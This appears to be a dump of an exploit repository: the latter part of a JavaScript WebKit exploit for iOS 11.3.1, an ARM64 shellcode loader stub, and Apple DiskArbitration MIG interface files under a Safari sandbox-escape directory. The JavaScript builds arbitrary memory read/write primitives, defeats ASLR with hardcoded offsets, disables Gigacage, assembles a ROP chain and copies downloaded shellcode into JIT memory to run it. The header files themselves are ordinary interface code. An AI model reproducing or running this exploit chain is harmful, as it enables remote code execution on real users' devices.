154 |     var fake_addr = stage1.addrof(outer) + 0x20
155 |     //print('fake obj @ ' + hex(fake_addr))
156 | 
157 |     var unboxed_addr = stage1.addrof(unboxed)
158 |     var boxed_addr = stage1.addrof(boxed)
159 |     var victim_addr = stage1.addrof(victim)
160 |     //print('leak ' + hex(leak_addr)
161 |         //+ '\nunboxed ' + hex(unboxed_addr)
162 |         //+ '\nboxed ' + hex(boxed_addr)
163 |         //+ '\nvictim ' + hex(victim_addr))
164 | 
165 |     var holder = {fake: {}}
166 |     holder.fake = stage1.fakeobj(fake_addr)
167 | 
168 |     // From here on GC would be uncool
169 | 
170 |     // Share a butterfly for easier boxing/unboxing
171 |     var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])
172 |     var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]
173 |     holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)
174 | 
175 |     var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]
176 |     function set_victim_addr(where) {
177 |         holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)
178 |     }
179 |     function reset_victim_addr() {
180 |         holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly
181 |     }
182 | 
183 |     var stage2 = {
184 |         addrof: function(victim) {
185 |             boxed[0] = victim
186 |             return f2i(unboxed[0])
187 |         },
188 | 
189 |         fakeobj: function(addr) {
190 |             unboxed[0] = i2f(addr)
191 |             return boxed[0]
192 |         },
193 | 
194 |         write64: function(where, what) {
195 |             set_victim_addr(where)
196 |             victim_write(this.fakeobj(what))
197 |             reset_victim_addr()
198 |         },
199 | 
200 |         read64: function(where) {
201 |             set_victim_addr(where)
202 |             var res = this.addrof(victim_read())
203 |             reset_victim_addr()
204 |             return res
205 |         },
206 | 
207 |         write_non_zero: function(where, values) {
208 |             for (var i = 0; i < values.length; ++i) {
209 |                 if (values[i] != 0)
210 |                     this.write64(where + i*8, values[i])
211 |             }
212 |         },
213 | 
214 |         test: function() {
215 |             this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie
216 |             if (0xfff != this.read64(boxed_addr + 0x10)) {
217 |                 fail(2)
218 |             }
219 |         },
220 | 
221 |         forge: function(values) {
222 |             for (var i = 0; i < values.length; ++i)
223 |                 unboxed[1 + i] = i2f(values[i])
224 |             return shared_butterfly + 8
225 |         },
226 | 
227 |         clear: function() {
228 |             outer = null
229 |             holder.fake = null
230 |             for (var i = 0; i < unboxed_size; ++i)
231 |                 boxed[0] = null
232 |         },
233 |     }
234 | 
235 |     // Test read/write
236 |     stage2.test()
237 | 
238 |     var wrapper = document.createElement('div')
239 | 
240 |     var wrapper_addr = stage2.addrof(wrapper)
241 |     var el_addr = stage2.read64(wrapper_addr + 0x20)
242 |     var vtab_addr = stage2.read64(el_addr)
243 | 
244 |     // Various offsets here
245 |     var slide = stage2.read64(vtab_addr) - 0x189c9a808
246 |     var disablePrimitiveGigacage = 0x18851a7d4 + slide
247 |     var callbacks = 0x1b335bd28 + slide
248 |     var g_gigacageBasePtrs = 0x1b1d08000 + slide
249 |     var g_typedArrayPoisons = 0x1b335d720 + slide
250 |     var longjmp = 0x180b126e8 + slide
251 |     var dlsym = 0x18084ef90 + slide
252 | 
253 |     var startOfFixedExecutableMemoryPool = stage2.read64(0x1b335d0b8 + slide)
254 |     var endOfFixedExecutableMemoryPool = stage2.read64(0x1b335d0c0 + slide)
255 |     var jitWriteSeparateHeapsFunction = stage2.read64(0x1b335d0c8 + slide)
256 |     var useFastPermisionsJITCopy = stage2.read64(0x1b1d04018 + slide)
257 | 
258 |     var ptr_stack_check_guard = 0x1ac3efc40 + slide
259 | 
260 |     // ModelIO:0x000000018d2f6564 :
261 |     //   ldr x8, [sp, #0x28]
262 |     //   ldr x0, [x8, #0x18]
263 |     //   ldp x29, x30, [sp, #0x50]
264 |     //   add sp, sp, #0x60
265 |     //   ret
266 |     var pop_x8 = 0x18d2f6564 + slide
267 | 
268 |     // CoreAudio:0x000000018409ddbc
269 |     //   ldr x2, [sp, #8]
270 |     //   mov x0, x2
271 |     //   ldp x29, x30, [sp, #0x10]
272 |     //   add sp, sp, #0x20
273 |     //   ret
274 |     var pop_x2 = 0x18409ddbc + slide
275 | 
276 |     // see jitcode.s
277 |     var linkcode_gadget = 0x187bd18c8 + slide
278 | 
279 |     //print('base @ ' + hex(base)
280 |         //+ '\ndisablePrimitiveGigacage @ ' + hex(disablePrimitiveGigacage)
281 |         //+ '\ng_gigacageBasePtrs @ ' + hex(g_gigacageBasePtrs)
282 |         //+ '\ng_typedArrayPoisons @ ' + hex(g_typedArrayPoisons)
283 |         //+ '\nstartOfFixedExecutableMemoryPool @ ' + hex(startOfFixedExecutableMemoryPool)
284 |         //+ '\nendOfFixedExecutableMemoryPool @ ' + hex(endOfFixedExecutableMemoryPool)
285 |         //+ '\njitWriteSeparateHeapsFunction @ ' + hex(jitWriteSeparateHeapsFunction)
286 |         //+ '\nuseFastPermisionsJITCopy @ ' + hex(useFastPermisionsJITCopy)
287 |         //)
288 | 
289 |     if (!useFastPermisionsJITCopy || jitWriteSeparateHeapsFunction) {
290 |         // Probably an older phone, should be even easier
291 |         fail(3)
292 |     }
293 |     var callback_vector = stage2.read64(callbacks)
294 | 
295 |     var poison = stage2.read64(g_typedArrayPoisons + 6*8)
296 |     var buffer_addr = xor(stage2.read64(stage2.addrof(u32_buffer) + 0x18), poison)
297 | 
298 |     var shellcode_src = buffer_addr + 0x4000
299 |     var shellcode_dst = endOfFixedExecutableMemoryPool - 0x1000000
300 |     if (shellcode_dst < startOfFixedExecutableMemoryPool) {
301 |         fail(4)
302 |     }
303 |     stage2.write64(shellcode_src + 4, dlsym)
304 | 
305 |     var fake_stack = [
306 |         0,
307 |         shellcode_length,  // x2
308 |         0,
309 | 
310 |         pop_x8,
311 | 
312 |         0, 0, 0, 0, 0,
313 |         shellcode_dst, // x8
314 |         0, 0, 0, 0,
315 |         stage2.read64(ptr_stack_check_guard) + 0x58,
316 | 
317 |         linkcode_gadget,
318 |         0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
319 |         0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
320 | 
321 |         shellcode_dst,
322 |     ]
323 | 
324 |     // Set up fake vtable at offset 0
325 |     u32_buffer[0] = longjmp % BASE32
326 |     u32_buffer[1] = longjmp / BASE32
327 | 
328 |     // Set up fake stack at offset 0x2000
329 |     for (var i = 0; i < fake_stack.length; ++i) {
330 |         u32_buffer[0x2000/4 + 2*i] = fake_stack[i] % BASE32
331 |         u32_buffer[0x2000/4 + 2*i+1] = fake_stack[i] / BASE32
332 |     }
333 | 
334 |     stage2.write_non_zero(el_addr, [
335 |         buffer_addr, // fake vtable
336 |         0,
337 |         shellcode_src, // x21
338 |         0, 0, 0, 0, 0, 0, 0,
339 |         0, // fp
340 | 
341 |         pop_x2, // lr
342 |         0,
343 |         buffer_addr + 0x2000, // sp
344 |     ])
345 |     //print('shellcode @ ' + hex(shellcode_dst))
346 |     print('see you on the other side')
347 |     wrapper.addEventListener('click', function(){})
348 | }
349 | 
350 | function print_error(e) {
351 |     print('Error: ' + e + '\n' + e.stack)
352 | }
353 | 
354 | function go() {
355 |     fetch('/shellcode.bin').then((response) => {
356 |         response.arrayBuffer().then((buffer) => {
357 |             try {
358 |                 shellcode_length = buffer.byteLength
359 |                 if (shellcode_length > 0x1000000) {
360 |                     fail(5)
361 |                 }
362 |                 u8_buffer.set(new Uint8Array(buffer), 0x4000)
363 |                 //print('got ' + shellcode_length + ' bytes of shellcode, pwning')
364 |                 pwn()
365 |             } catch (e) {
366 |                 print_error(e)
367 |             }
368 |         })
369 |     })
370 | }
371 | 


--------------------------------------------------------------------------------
/exploits/ios-11.3.1/shellcode.in.s:
--------------------------------------------------------------------------------
 1 | start:
 2 | b go
 3 | 
 4 | dlsym:
 5 | .word 0x1337
 6 | .word 0x1337
 7 | 
 8 | go:
 9 | ldr x1, dlsym
10 | 
11 | adr x8, start
12 | ldr x7, =(0x1000+OFFSET_LOAD)
13 | add x0, x8, x7
14 | 
15 | ldr x7, =0x1000000
16 | add x2, x8, x7
17 | 
18 | blr x0
19 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/DAServer.defs:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * Copyright (c) 1998-2015 Apple Inc. All rights reserved.
  3 |  *
  4 |  * @APPLE_LICENSE_HEADER_START@
  5 |  * 
  6 |  * This file contains Original Code and/or Modifications of Original Code
  7 |  * as defined in and that are subject to the Apple Public Source License
  8 |  * Version 2.0 (the 'License'). You may not use this file except in
  9 |  * compliance with the License. Please obtain a copy of the License at
 10 |  * http://www.opensource.apple.com/apsl/ and read it before using this
 11 |  * file.
 12 |  * 
 13 |  * The Original Code and all software distributed under the License are
 14 |  * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 15 |  * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 16 |  * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 17 |  * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 18 |  * Please see the License for the specific language governing rights and
 19 |  * limitations under the License.
 20 |  * 
 21 |  * @APPLE_LICENSE_HEADER_END@
 22 |  */
 23 | 
 24 | #include 
 25 | #include 
 26 | 
 27 | subsystem DAServer 0;
 28 | 
 29 | import ;
 30 | import ;
 31 | import ;
 32 | 
 33 | import "DAServer.defs.h";
 34 | 
 35 | type ___caddr_t                   = c_string [*:1024]   ctype : caddr_t;
 36 | type ___path_t                    = c_string [*:4096]   ctype : ___path_t;
 37 | type ___pid_t                     = int32_t             ctype : pid_t;
 38 | type ___uid_t                     = int32_t             ctype : uid_t;
 39 | type ___vm_address_t              = array [] of char    ctype : vm_address_t;
 40 | type ___AuthorizationExternalForm = struct [32] of char ctype : AuthorizationExternalForm;
 41 | 
 42 | routine _DAServerDiskCopyDescription( _session     : mach_port_t;
 43 |                                       _disk        : ___caddr_t;
 44 |                                   out _description : ___vm_address_t, dealloc );
 45 | 
 46 | routine _DAServerDiskGetOptions( _session : mach_port_t;
 47 |                                  _disk    : ___caddr_t;
 48 |                              out _options : int32_t );
 49 | 
 50 | routine _DAServerDiskGetUserUID( _session : mach_port_t;
 51 |                                  _disk    : ___caddr_t;
 52 |                              out _userUID : ___uid_t );
 53 | 
 54 | routine _DAServerDiskIsClaimed( _session : mach_port_t;
 55 |                                 _disk    : ___caddr_t;
 56 |                             out _claimed : boolean_t );
 57 | 
 58 | routine _DAServerDiskSetAdoption( _session  : mach_port_t;
 59 |                                   _disk     : ___caddr_t;
 60 |                                   _adoption : boolean_t;
 61 |                    ServerSecToken _token    : security_token_t );
 62 | 
 63 | routine _DAServerDiskSetEncoding( _session  : mach_port_t;
 64 |                                   _disk     : ___caddr_t;
 65 |                                   _encoding : int32_t;
 66 |                    ServerSecToken _token    : security_token_t );
 67 | 
 68 | routine _DAServerDiskSetOptions( _session : mach_port_t;
 69 |                                  _disk    : ___caddr_t;
 70 |                                  _options : int32_t;
 71 |                                  _value   : int32_t );
 72 | 
 73 | simpleroutine _DAServerDiskUnclaim( _session : mach_port_t;
 74 |                                     _disk    : ___caddr_t );
 75 | 
 76 | routine _DAServerSessionCopyCallbackQueue( _session : mach_port_t;
 77 |                                        out _queue   : ___vm_address_t, dealloc );
 78 | 
 79 | routine _DAServerSessionCreate( _session : mach_port_t;
 80 |                                 _name    : ___caddr_t;
 81 |                                 _pid     : ___pid_t;
 82 |                             out _server  : mach_port_make_send_t );
 83 | 
 84 | routine _DAServerSessionQueueRequest( _session   : mach_port_t;
 85 |                                       _kind      : int32_t;
 86 |                                       _argument0 : ___caddr_t;
 87 |                                       _argument1 : int32_t;
 88 |                                       _argument2 : ___vm_address_t;
 89 |                                       _argument3 : ___vm_address_t;
 90 |                                       _address   : mach_vm_offset_t;
 91 |                                       _context   : mach_vm_offset_t;
 92 |                        ServerSecToken _token     : security_token_t );
 93 | 
 94 | simpleroutine _DAServerSessionQueueResponse( _session    : mach_port_t;
 95 |                                              _address    : mach_vm_offset_t;
 96 |                                              _context    : mach_vm_offset_t;
 97 |                                              _kind       : int32_t;
 98 |                                              _disk       : ___caddr_t;
 99 |                                              _response   : ___vm_address_t;
100 |                                              _responseID : int32_t );
101 | 
102 | routine _DAServerSessionRegisterCallback( _session : mach_port_t;
103 |                                           _address : mach_vm_offset_t;
104 |                                           _context : mach_vm_offset_t;
105 |                                           _kind    : int32_t;
106 |                                           _order   : int32_t;
107 |                                           _match   : ___vm_address_t;
108 |                                           _watch   : ___vm_address_t );
109 | 
110 | simpleroutine _DAServerSessionRelease( _session : mach_port_t );
111 | 
112 | simpleroutine _DAServerSessionSetAuthorization( _session       : mach_port_t;
113 |                                                 _authorization : ___AuthorizationExternalForm );
114 | 
115 | simpleroutine _DAServerSessionSetClientPort( _session : mach_port_t;
116 |                                              _client  : mach_port_make_send_t );
117 | 
118 | simpleroutine _DAServerSessionUnregisterCallback( _session : mach_port_t;
119 |                                                   _address : mach_vm_offset_t;
120 |                                                   _context : mach_vm_offset_t );
121 | 
122 | routine _DAServermkdir( _session : mach_port_t;
123 |                         _path    : ___path_t;
124 |          ServerSecToken _token   : security_token_t );
125 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/DAServer.defs.h:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * Copyright (c) 1998-2014 Apple Inc. All rights reserved.
 3 |  *
 4 |  * @APPLE_LICENSE_HEADER_START@
 5 |  * 
 6 |  * This file contains Original Code and/or Modifications of Original Code
 7 |  * as defined in and that are subject to the Apple Public Source License
 8 |  * Version 2.0 (the 'License'). You may not use this file except in
 9 |  * compliance with the License. Please obtain a copy of the License at
10 |  * http://www.opensource.apple.com/apsl/ and read it before using this
11 |  * file.
12 |  * 
13 |  * The Original Code and all software distributed under the License are
14 |  * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
15 |  * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
16 |  * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
17 |  * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
18 |  * Please see the License for the specific language governing rights and
19 |  * limitations under the License.
20 |  * 
21 |  * @APPLE_LICENSE_HEADER_END@
22 |  */
23 | 
24 | #define mig_external __private_extern__
25 | 
26 | typedef const char * ___path_t;
27 | 


--------------------------------------------------------------------------------
/exploits/safari-sbx/DAServer.h:
--------------------------------------------------------------------------------
  1 | #ifndef	_DAServer_user_
  2 | #define	_DAServer_user_
  3 | 
  4 | /* Module DAServer */
  5 | 
  6 | #include 
  7 | #include 
  8 | #include 
  9 | #include 
 10 | #include 
 11 | #include 
 12 | #include 
 13 | #include 
 14 | #include 
 15 | 	
 16 | /* BEGIN VOUCHER CODE */
 17 | 
 18 | #ifndef KERNEL
 19 | #if defined(__has_include)
 20 | #if __has_include()
 21 | #ifndef USING_VOUCHERS
 22 | #define USING_VOUCHERS
 23 | #endif
 24 | #ifndef __VOUCHER_FORWARD_TYPE_DECLS__
 25 | #define __VOUCHER_FORWARD_TYPE_DECLS__
 26 | #ifdef __cplusplus
 27 | extern "C" {
 28 | #endif
 29 | 	extern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));
 30 | #ifdef __cplusplus
 31 | }
 32 | #endif
 33 | #endif // __VOUCHER_FORWARD_TYPE_DECLS__
 34 | #endif // __has_include()
 35 | #endif // __has_include
 36 | #endif // !KERNEL
 37 | 	
 38 | /* END VOUCHER CODE */
 39 | 
 40 | 	
 41 | /* BEGIN MIG_STRNCPY_ZEROFILL CODE */
 42 | 
 43 | #if defined(__has_include)
 44 | #if __has_include()
 45 | #ifndef USING_MIG_STRNCPY_ZEROFILL
 46 | #define USING_MIG_STRNCPY_ZEROFILL
 47 | #endif
 48 | #ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
 49 | #define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__
 50 | #ifdef __cplusplus
 51 | extern "C" {
 52 | #endif
 53 | 	extern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));
 54 | #ifdef __cplusplus
 55 | }
 56 | #endif
 57 | #endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */
 58 | #endif /* __has_include() */
 59 | #endif /* __has_include */
 60 | 	
 61 | /* END MIG_STRNCPY_ZEROFILL CODE */
 62 | 
 63 | 
 64 | #ifdef AUTOTEST
 65 | #ifndef FUNCTION_PTR_T
 66 | #define FUNCTION_PTR_T
 67 | typedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);
 68 | typedef struct {
 69 |         char            *name;
 70 |         function_ptr_t  function;
 71 | } function_table_entry;
 72 | typedef function_table_entry   *function_table_t;
 73 | #endif /* FUNCTION_PTR_T */
 74 | #endif /* AUTOTEST */
 75 | 
 76 | #ifndef	DAServer_MSG_COUNT
 77 | #define	DAServer_MSG_COUNT	18
 78 | #endif	/* DAServer_MSG_COUNT */
 79 | 
 80 | #include 
 81 | #include 
 82 | #include 
 83 | #include 
 84 | #include 
 85 | #include 
 86 | #include 
 87 | #include "DAServer.defs.h"
 88 | 
 89 | #ifdef __BeforeMigUserHeader
 90 | __BeforeMigUserHeader
 91 | #endif /* __BeforeMigUserHeader */
 92 | 
 93 | #include 
 94 | __BEGIN_DECLS
 95 | 
 96 | 
 97 | /* Routine _DAServerDiskCopyDescription */
 98 | #ifdef	mig_external
 99 | mig_external
100 | #else
101 | extern
102 | #endif	/* mig_external */
103 | kern_return_t _DAServerDiskCopyDescription
104 | (
105 | 	mach_port_t _session,
106 | 	caddr_t _disk,
107 | 	vm_address_t *_description,
108 | 	mach_msg_type_number_t *_descriptionCnt
109 | );
110 | 
111 | /* Routine _DAServerDiskGetOptions */
112 | #ifdef	mig_external
113 | mig_external
114 | #else
115 | extern
116 | #endif	/* mig_external */
117 | kern_return_t _DAServerDiskGetOptions
118 | (
119 | 	mach_port_t _session,
120 | 	caddr_t _disk,
121 | 	int32_t *_options
122 | );
123 | 
124 | /* Routine _DAServerDiskGetUserUID */
125 | #ifdef	mig_external
126 | mig_external
127 | #else
128 | extern
129 | #endif	/* mig_external */
130 | kern_return_t _DAServerDiskGetUserUID
131 | (
132 | 	mach_port_t _session,
133 | 	caddr_t _disk,
134 | 	uid_t *_userUID
135 | );
136 | 
137 | /* Routine _DAServerDiskIsClaimed */
138 | #ifdef	mig_external
139 | mig_external
140 | #else
141 | extern
142 | #endif	/* mig_external */
143 | kern_return_t _DAServerDiskIsClaimed
144 | (
145 | 	mach_port_t _session,
146 | 	caddr_t _disk,
147 | 	boolean_t *_claimed
148 | );
149 | 
150 | /* Routine _DAServerDiskSetAdoption */
151 | #ifdef	mig_external
152 | mig_external
153 | #else
154 | extern
155 | #endif	/* mig_external */
156 | kern_return_t _DAServerDiskSetAdoption
157 | (
158 | 	mach_port_t _session,
159 | 	caddr_t _disk,
160 | 	boolean_t _adoption
161 | );
162 | 
163 | /* Routine _DAServerDiskSetEncoding */
164 | #ifdef	mig_external
165 | mig_external
166 | #else
167 | extern
168 | #endif	/* mig_external */
169 | kern_return_t _DAServerDiskSetEncoding
170 | (
171 | 	mach_port_t _session,
172 | 	caddr_t _disk,
173 | 	int32_t _encoding
174 | );
175 | 
176 | /* Routine _DAServerDiskSetOptions */
177 | #ifdef	mig_external
178 | mig_external
179 | #else
180 | extern
181 | #endif	/* mig_external */
182 | kern_return_t _DAServerDiskSetOptions
183 | (
184 | 	mach_port_t _session,
185 | 	caddr_t _disk,
186 | 	int32_t _options,
187 | 	int32_t _value
188 | );
189 | 
190 | /* SimpleRoutine _DAServerDiskUnclaim */
191 | #ifdef	mig_external
192 | mig_external
193 | #else
194 | extern
195 | #endif	/* mig_external */
196 | kern_return_t _DAServerDiskUnclaim
197 | (
198 | 	mach_port_t _session,
199 | 	caddr_t _disk
200 | );
201 | 
202 | /* Routine _DAServerSessionCopyCallbackQueue */
203 | #ifdef	mig_external
204 | mig_external
205 | #else
206 | extern
207 | #endif	/* mig_external */
208 | kern_return_t _DAServerSessionCopyCallbackQueue
209 | (
210 | 	mach_port_t _session,
211 | 	vm_address_t *_queue,
212 | 	mach_msg_type_number_t *_queueCnt
213 | );
214 | 
215 | /* Routine _DAServerSessionCreate */
216 | #ifdef	mig_external
217 | mig_external
218 | #else
219 | extern
220 | #endif	/* mig_external */
221 | kern_return_t _DAServerSessionCreate
222 | (
223 | 	mach_port_t _session,
224 | 	caddr_t _name,
225 | 	pid_t _pid,
226 | 	mach_port_t *_server
227 | );
228 | 
229 | /* Routine _DAServerSessionQueueRequest */
230 | #ifdef	mig_external
231 | mig_external
232 | #else
233 | extern
234 | #endif	/* mig_external */
235 | kern_return_t _DAServerSessionQueueRequest
236 | (
237 | 	mach_port_t _session,
238 | 	int32_t _kind,
239 | 	caddr_t _argument0,
240 | 	int32_t _argument1,
241 | 	vm_address_t _argument2,
242 | 	mach_msg_type_number_t _argument2Cnt,
243 | 	vm_address_t _argument3,
244 | 	mach_msg_type_number_t _argument3Cnt,
245 | 	mach_vm_offset_t _address,
246 | 	mach_vm_offset_t _context
247 | );
248 | 
249 | /* SimpleRoutine _DAServerSessionQueueResponse */
250 | #ifdef	mig_external
251 | mig_external
252 | #else
253 | extern
254 | #endif	/* mig_external */
255 | kern_return_t _DAServerSessionQueueResponse
256 | (
257 | 	mach_port_t _session,
258 | 	mach_vm_offset_t _address,
259 | 	mach_vm_offset_t _context,
260 | 	int32_t _kind,
261 | 	caddr_t _disk,
262 | 	vm_address_t _response,
263 | 	mach_msg_type_number_t _responseCnt,
264 | 	int32_t _responseID
265 | );
266 | 
267 | /* Routine _DAServerSessionRegisterCallback */
268 | #ifdef	mig_external
269 | mig_external
270 | #else
271 | extern
272 | #endif	/* mig_external */
273 | kern_return_t _DAServerSessionRegisterCallback
274 | (
275 | 	mach_port_t _session,
276 | 	mach_vm_offset_t _address,
277 | 	mach_vm_offset_t _context,
278 | 	int32_t _kind,
279 | 	int32_t _order,
280 | 	vm_address_t _match,
281 | 	mach_msg_type_number_t _matchCnt,
282 | 	vm_address_t _watch,
283 | 	mach_msg_type_number_t _watchCnt
284 | );
285 | 
286 | /* SimpleRoutine _DAServerSessionRelease */
287 | #ifdef	mig_external
288 | mig_external
289 | #else
290 | extern
291 | #endif	/* mig_external */
292 | kern_return_t _DAServerSessionRelease
293 | (
294 | 	mach_port_t _session
295 | );
296 | 
297 | /* SimpleRoutine _DAServerSessionSetAuthorization */
298 | #ifdef	mig_external
299 | mig_external
300 | #else
301 | extern
302 | #endif	/* mig_external */
303 | kern_return_t _DAServerSessionSetAuthorization
304 | (
305 | 	mach_port_t _session,
306 | 	AuthorizationExternalForm _authorization
307 | );
308 | 
309 | /* SimpleRoutine _DAServerSessionSetClientPort */
310 | #ifdef	mig_external
311 | mig_external
312 | #else
313 | extern
314 | #endif	/* mig_external */
315 | kern_return_t _DAServerSessionSetClientPort
316 | (
317 | 	mach_port_t _session,
318 | 	mach_port_t _client
319 | );
320 | 
321 | /* SimpleRoutine _DAServerSessionUnregisterCallback */
322 | #ifdef	mig_external
323 | mig_external
324 | #else
325 | extern
326 | #endif	/* mig_external */
327 | kern_return_t _DAServerSessionUnregisterCallback
328 | (
329 | 	mach_port_t _session,
330 | 	mach_vm_offset_t _address,
331 | 	mach_vm_offset_t _context
332 | );
333 | 
334 | /* Routine _DAServermkdir */
335 | #ifdef	mig_external
336 | mig_external
337 | #else
338 | extern
339 | #endif	/* mig_external */
340 | kern_return_t _DAServermkdir
341 | (
342 | 	mach_port_t _session,
343 | 	___path_t _path
344 | );
345 | 
346 | __END_DECLS
347 | 
348 | /********************** Caution **************************/
349 | /* The following data types should be used to calculate  */
350 | /* maximum message sizes only. The actual message may be */
351 | /* smaller, and the position of the arguments within the */
352 | /* message layout may vary from what is presented here.  */
353 | /* For example, if any of the arguments are variable-    */
354 | /* sized, and less than the maximum is sent, the data    */
355 | /* will be packed tight in the actual message to reduce  */
356 | /* the presence of holes.                                */
357 | /********************** Caution **************************/
358 | 
359 | /* typedefs for all requests */
360 | 
361 | #ifndef __Request__DAServer_subsystem__defined
362 | #define __Request__DAServer_subsystem__defined
363 | 
364 | #ifdef  __MigPackStructs
365 | #pragma pack(4)
366 | #endif
367 | 	typedef struct {
368 | 		mach_msg_header_t Head;
369 | 		NDR_record_t NDR;
370 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
371 | 		mach_msg_type_number_t _diskCnt;
372 | 		char _disk[1024];
373 | 	} __Request___DAServerDiskCopyDescription_t __attribute__((unused));
374 | #ifdef  __MigPackStructs
375 | #pragma pack()
376 | #endif
377 | 
378 | #ifdef  __MigPackStructs
379 | #pragma pack(4)
380 | #endif
381 | 	typedef struct {
382 | 		mach_msg_header_t Head;
383 | 		NDR_record_t NDR;
384 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
385 | 		mach_msg_type_number_t _diskCnt;
386 | 		char _disk[1024];
387 | 	} __Request___DAServerDiskGetOptions_t __attribute__((unused));
388 | #ifdef  __MigPackStructs
389 | #pragma pack()
390 | #endif
391 | 
392 | #ifdef  __MigPackStructs
393 | #pragma pack(4)
394 | #endif
395 | 	typedef struct {
396 | 		mach_msg_header_t Head;
397 | 		NDR_record_t NDR;
398 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
399 | 		mach_msg_type_number_t _diskCnt;
400 | 		char _disk[1024];
401 | 	} __Request___DAServerDiskGetUserUID_t __attribute__((unused));
402 | #ifdef  __MigPackStructs
403 | #pragma pack()
404 | #endif
405 | 
406 | #ifdef  __MigPackStructs
407 | #pragma pack(4)
408 | #endif
409 | 	typedef struct {
410 | 		mach_msg_header_t Head;
411 | 		NDR_record_t NDR;
412 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
413 | 		mach_msg_type_number_t _diskCnt;
414 | 		char _disk[1024];
415 | 	} __Request___DAServerDiskIsClaimed_t __attribute__((unused));
416 | #ifdef  __MigPackStructs
417 | #pragma pack()
418 | #endif
419 | 
420 | #ifdef  __MigPackStructs
421 | #pragma pack(4)
422 | #endif
423 | 	typedef struct {
424 | 		mach_msg_header_t Head;
425 | 		NDR_record_t NDR;
426 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
427 | 		mach_msg_type_number_t _diskCnt;
428 | 		char _disk[1024];
429 | 		boolean_t _adoption;
430 | 	} __Request___DAServerDiskSetAdoption_t __attribute__((unused));
431 | #ifdef  __MigPackStructs
432 | #pragma pack()
433 | #endif
434 | 
435 | #ifdef  __MigPackStructs
436 | #pragma pack(4)
437 | #endif
438 | 	typedef struct {
439 | 		mach_msg_header_t Head;
440 | 		NDR_record_t NDR;
441 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
442 | 		mach_msg_type_number_t _diskCnt;
443 | 		char _disk[1024];
444 | 		int32_t _encoding;
445 | 	} __Request___DAServerDiskSetEncoding_t __attribute__((unused));
446 | #ifdef  __MigPackStructs
447 | #pragma pack()
448 | #endif
449 | 
450 | #ifdef  __MigPackStructs
451 | #pragma pack(4)
452 | #endif
453 | 	typedef struct {
454 | 		mach_msg_header_t Head;
455 | 		NDR_record_t NDR;
456 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
457 | 		mach_msg_type_number_t _diskCnt;
458 | 		char _disk[1024];
459 | 		int32_t _options;
460 | 		int32_t _value;
461 | 	} __Request___DAServerDiskSetOptions_t __attribute__((unused));
462 | #ifdef  __MigPackStructs
463 | #pragma pack()
464 | #endif
465 | 
466 | #ifdef  __MigPackStructs
467 | #pragma pack(4)
468 | #endif
469 | 	typedef struct {
470 | 		mach_msg_header_t Head;
471 | 		NDR_record_t NDR;
472 | 		mach_msg_type_number_t _diskOffset; /* MiG doesn't use it */
473 | 		mach_msg_type_number_t _diskCnt;
474 | 		char _disk[1024];
475 | 	} __Request___DAServerDiskUnclaim_t __attribute__((unused));
476 | #ifdef  __MigPackStructs
477 | #pragma pack()
478 | #endif
479 | 
480 | #ifdef  __MigPackStructs
481 | #pragma pack(4)
482 | #endif
483 | 	typedef struct {
484 | 		mach_msg_header_t Head;
485 | 	} __Request___DAServerSessionCopyCallbackQueue_t __attribute__((unused));
486 | #ifdef  __MigPackStructs
487 | #pragma pack()
488 | #endif
489 | 
490 | #ifdef  __MigPackStructs
491 | #pragma pack(4)
492 | #endif
493 | 	typedef struct {
494 | 		mach_msg_header_t Head;
495 | 		NDR_record_t NDR;
496 | 		mach_msg_type_number_t _nameOffset; /* MiG doesn't use it */
497 | 		mach_msg_type_number_t _nameCnt;
498 | 		char _name[1024];
499 | 		pid_t _pid;
500 | 	} __Request___DAServerSessionCreate_t __attribute__((unused));
501 | #ifdef  __MigPackStructs
502 | #pragma pack()
503 | #endif
504 | 
505 | #ifdef  __MigPackStructs
506 | #pragma pack(4)
507 | #endif
508 | 	typedef struct {
509 | 		mach_msg_header_t Head;
510 | 		/* start of the kernel processed data */
511 | 		mach_msg_body_t msgh_body;
512 | 		mach_msg_ool_descriptor_t _argument2;
513 | 		mach_msg_ool_descriptor_t _argument3;
514 | 		/* end of the kernel processed data */
515 | 		NDR_record_t NDR;
516 | 		int32_t _kind;
